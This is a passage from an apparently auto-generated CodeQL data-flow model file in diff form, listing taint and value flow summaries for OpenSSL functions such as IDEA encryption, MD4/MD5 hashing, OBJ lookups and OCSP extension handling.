"Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[*3].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[*3].Field[*data]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_ecb_encrypt", "(const unsigned char *,unsigned char *,IDEA_KEY_SCHEDULE *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_ecb_encrypt", "(const unsigned char *,unsigned char *,IDEA_KEY_SCHEDULE *)", "", "Argument[*2].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_ecb_encrypt", "(const unsigned char *,unsigned char *,IDEA_KEY_SCHEDULE *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_ecb_encrypt", "(const unsigned char *,unsigned char *,IDEA_KEY_SCHEDULE *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_encrypt", "(unsigned long *,IDEA_KEY_SCHEDULE *)", "", "Argument[*1].Field[*data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_encrypt", "(unsigned long *,IDEA_KEY_SCHEDULE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "IPAddressChoice_free", "(IPAddressChoice *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "IPAddressChoice_free", "(IPAddressChoice *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "IPAddressFamily_free", "(IPAddressFamily *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "IPAddressFamily_free", "(IPAddressFamily *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "IPAddressOrRange_free", "(IPAddressOrRange *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "IPAddressOrRange_free", "(IPAddressOrRange *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "IPAddressRange_free", "(IPAddressRange *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "IPAddressRange_free", "(IPAddressRange *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ISSUER_SIGN_TOOL_free", "(ISSUER_SIGN_TOOL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ISSUER_SIGN_TOOL_free", "(ISSUER_SIGN_TOOL *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ISSUING_DIST_POINT_free", "(ISSUING_DIST_POINT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ISSUING_DIST_POINT_free", "(ISSUING_DIST_POINT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "MD4", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "MD4", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "MD4", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "MD4", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "MD4_Final", "(unsigned char *,MD4_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "MD4_Transform", "(MD4_CTX *,const unsigned char *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "MD4_Transform", "(MD4_CTX *,const unsigned char *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "MD4_Update", "(MD4_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nh]", "taint", "dfc-generated"] + - ["", "", True, "MD4_Update", "(MD4_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nl]", "taint", "dfc-generated"] + - ["", "", True, "MD4_Update", "(MD4_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "MD5", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "MD5", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "MD5", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "MD5", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "MD5_Final", "(unsigned char *,MD5_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "MD5_Update", "(MD5_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nh]", "taint", "dfc-generated"] + - ["", "", True, "MD5_Update", "(MD5_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nl]", "taint", "dfc-generated"] + - ["", "", True, "MD5_Update", "(MD5_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "MDC2", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "MDC2", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "MDC2_Final", "(unsigned char *,MDC2_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "MDC2_Update", "(MDC2_CTX *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "MDC2_Update", "(MDC2_CTX *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "MDC2_Update", "(MDC2_CTX *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "MDC2_Update", "(MDC2_CTX *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "taint", "dfc-generated"] + - ["", "", True, "NAME_CONSTRAINTS_free", "(NAME_CONSTRAINTS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "NAME_CONSTRAINTS_free", "(NAME_CONSTRAINTS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "NAMING_AUTHORITY_free", "(NAMING_AUTHORITY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "NAMING_AUTHORITY_free", "(NAMING_AUTHORITY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "NAMING_AUTHORITY_get0_authorityId", "(const NAMING_AUTHORITY *)", "", "Argument[*0].Field[**namingAuthorityId]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_get0_authorityId", "(const NAMING_AUTHORITY *)", "", "Argument[*0].Field[*namingAuthorityId]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_get0_authorityText", "(const NAMING_AUTHORITY *)", "", "Argument[*0].Field[**namingAuthorityText]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_get0_authorityText", "(const NAMING_AUTHORITY *)", "", "Argument[*0].Field[*namingAuthorityText]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_get0_authorityURL", "(const NAMING_AUTHORITY *)", "", "Argument[*0].Field[**namingAuthorityUrl]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_get0_authorityURL", "(const NAMING_AUTHORITY *)", "", "Argument[*0].Field[*namingAuthorityUrl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_set0_authorityId", "(NAMING_AUTHORITY *,ASN1_OBJECT *)", "", "Argument[*1]", "Argument[*0].Field[**namingAuthorityId]", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_set0_authorityId", "(NAMING_AUTHORITY *,ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[*namingAuthorityId]", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_set0_authorityText", "(NAMING_AUTHORITY *,ASN1_STRING *)", "", "Argument[*1]", "Argument[*0].Field[**namingAuthorityText]", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_set0_authorityText", "(NAMING_AUTHORITY *,ASN1_STRING *)", "", "Argument[1]", "Argument[*0].Field[*namingAuthorityText]", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_set0_authorityURL", "(NAMING_AUTHORITY *,ASN1_IA5STRING *)", "", "Argument[*1]", "Argument[*0].Field[**namingAuthorityUrl]", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_set0_authorityURL", "(NAMING_AUTHORITY *,ASN1_IA5STRING *)", "", "Argument[1]", "Argument[*0].Field[*namingAuthorityUrl]", "value", "dfc-generated"] + - ["", "", True, "NCONF_get0_libctx", "(const CONF *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "NCONF_get0_libctx", "(const CONF *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "NCONF_new_ex", "(OSSL_LIB_CTX *,CONF_METHOD *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "NCONF_new_ex", "(OSSL_LIB_CTX *,CONF_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "NETSCAPE_CERT_SEQUENCE_free", "(NETSCAPE_CERT_SEQUENCE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_CERT_SEQUENCE_free", "(NETSCAPE_CERT_SEQUENCE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_ENCRYPTED_PKEY_free", "(NETSCAPE_ENCRYPTED_PKEY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_ENCRYPTED_PKEY_free", "(NETSCAPE_ENCRYPTED_PKEY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_PKEY_free", "(NETSCAPE_PKEY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_PKEY_free", "(NETSCAPE_PKEY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_SPKAC_free", "(NETSCAPE_SPKAC *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_SPKAC_free", "(NETSCAPE_SPKAC *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_SPKI_b64_decode", "(const char *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "NETSCAPE_SPKI_b64_decode", "(const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "NETSCAPE_SPKI_b64_decode", "(const char *,int)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "NETSCAPE_SPKI_b64_decode", "(const char *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "NETSCAPE_SPKI_b64_encode", "(NETSCAPE_SPKI *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_SPKI_free", "(NETSCAPE_SPKI *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_SPKI_free", "(NETSCAPE_SPKI *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_SPKI_print", "(BIO *,NETSCAPE_SPKI *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "NETSCAPE_SPKI_sign", "(NETSCAPE_SPKI *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "NOTICEREF_free", "(NOTICEREF *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "NOTICEREF_free", "(NOTICEREF *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OBJ_add_object", "(const ASN1_OBJECT *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OBJ_bsearch_", "(const void *,const void *,int,int,..(*)(..))", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_", "(const void *,const void *,int,int,..(*)(..))", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_", "(const void *,const void *,int,int,..(*)(..))", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_", "(const void *,const void *,int,int,..(*)(..))", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_", "(const void *,const void *,int,int,..(*)(..))", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_", "(const void *,const void *,int,int,..(*)(..))", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_", "(const void *,const void *,int,int,..(*)(..))", "", "Argument[3]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ex_", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ex_", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ex_", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ex_", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ex_", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ex_", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ex_", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[3]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ssl_cipher_id", "(SSL_CIPHER *,const SSL_CIPHER *,int)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ssl_cipher_id", "(SSL_CIPHER *,const SSL_CIPHER *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ssl_cipher_id", "(SSL_CIPHER *,const SSL_CIPHER *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ssl_cipher_id", "(SSL_CIPHER *,const SSL_CIPHER *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ssl_cipher_id", "(SSL_CIPHER *,const SSL_CIPHER *,int)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_cmp", "(const ASN1_OBJECT *,const ASN1_OBJECT *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OBJ_cmp", "(const ASN1_OBJECT *,const ASN1_OBJECT *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OBJ_dup", "(const ASN1_OBJECT *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "OBJ_dup", "(const ASN1_OBJECT *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OBJ_get0_data", "(const ASN1_OBJECT *)", "", "Argument[*0].Field[**data]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OBJ_get0_data", "(const ASN1_OBJECT *)", "", "Argument[*0].Field[*data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OBJ_length", "(const ASN1_OBJECT *)", "", "Argument[*0].Field[*length]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OBJ_nid2ln", "(int)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OBJ_nid2ln", "(int)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OBJ_nid2obj", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OBJ_nid2obj", "(int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_nid2sn", "(int)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OBJ_nid2sn", "(int)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OBJ_obj2nid", "(const ASN1_OBJECT *)", "", "Argument[*0].Field[*nid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OBJ_obj2txt", "(char *,int,const ASN1_OBJECT *,int)", "", "Argument[*2].Field[**data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_obj2txt", "(char *,int,const ASN1_OBJECT *,int)", "", "Argument[*2].Field[*data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_obj2txt", "(char *,int,const ASN1_OBJECT *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_obj2txt", "(char *,int,const ASN1_OBJECT *,int)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_BASICRESP_add1_ext_i2d", "(OCSP_BASICRESP *,int,void *,int,unsigned long)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OCSP_BASICRESP_add_ext", "(OCSP_BASICRESP *,X509_EXTENSION *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_BASICRESP_add_ext", "(OCSP_BASICRESP *,X509_EXTENSION *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_BASICRESP_delete_ext", "(OCSP_BASICRESP *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_BASICRESP_delete_ext", "(OCSP_BASICRESP *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_BASICRESP_free", "(OCSP_BASICRESP *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_BASICRESP_free", "(OCSP_BASICRESP *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_BASICRESP_get1_ext_d2i", "(OCSP_BASICRESP *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_BASICRESP_get_ext", "(OCSP_BASICRESP *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_BASICRESP_get_ext_by_NID", "(OCSP_BASICRESP *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_BASICRESP_get_ext_by_OBJ", "(OCSP_BASICRESP *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_BASICRESP_get_ext_by_critical", "(OCSP_BASICRESP *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_CERTID_dup", "(const OCSP_CERTID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_CERTID_dup", "(const OCSP_CERTID *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_CERTID_dup", "(const OCSP_CERTID *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OCSP_CERTID_dup", "(const OCSP_CERTID *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_CERTID_dup", "(const OCSP_CERTID *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OCSP_CERTID_free", "(OCSP_CERTID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_CERTID_free", "(OCSP_CERTID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_CERTSTATUS_free", "(OCSP_CERTSTATUS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_CERTSTATUS_free", "(OCSP_CERTSTATUS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_CRLID_free", "(OCSP_CRLID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_CRLID_free", "(OCSP_CRLID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_ONEREQ_add1_ext_i2d", "(OCSP_ONEREQ *,int,void *,int,unsigned long)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OCSP_ONEREQ_add_ext", "(OCSP_ONEREQ *,X509_EXTENSION *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_ONEREQ_add_ext", "(OCSP_ONEREQ *,X509_EXTENSION *,int)", "", "Argument[2]", "Argument[*0].Field[**singleRequestExtensions].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_ONEREQ_add_ext", "(OCSP_ONEREQ *,X509_EXTENSION *,int)", "", "Argument[2]", "Argument[*0].Field[**singleRequestExtensions].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_ONEREQ_delete_ext", "(OCSP_ONEREQ *,int)", "", "Argument[1]", "Argument[*0].Field[**singleRequestExtensions].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_ONEREQ_delete_ext", "(OCSP_ONEREQ *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_ONEREQ_delete_ext", "(OCSP_ONEREQ *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_ONEREQ_free", "(OCSP_ONEREQ *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_ONEREQ_free", "(OCSP_ONEREQ *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_ONEREQ_get1_ext_d2i", "(OCSP_ONEREQ *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_ONEREQ_get_ext", "(OCSP_ONEREQ *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_ONEREQ_get_ext_by_NID", "(OCSP_ONEREQ *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_ONEREQ_get_ext_by_OBJ", "(OCSP_ONEREQ *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_ONEREQ_get_ext_by_critical", "(OCSP_ONEREQ *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_ONEREQ_get_ext_count", "(OCSP_ONEREQ *)", "", "Argument[*0].Field[**singleRequestExtensions].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OCSP_REQINFO_free", "(OCSP_REQINFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_REQINFO_free", "(OCSP_REQINFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", 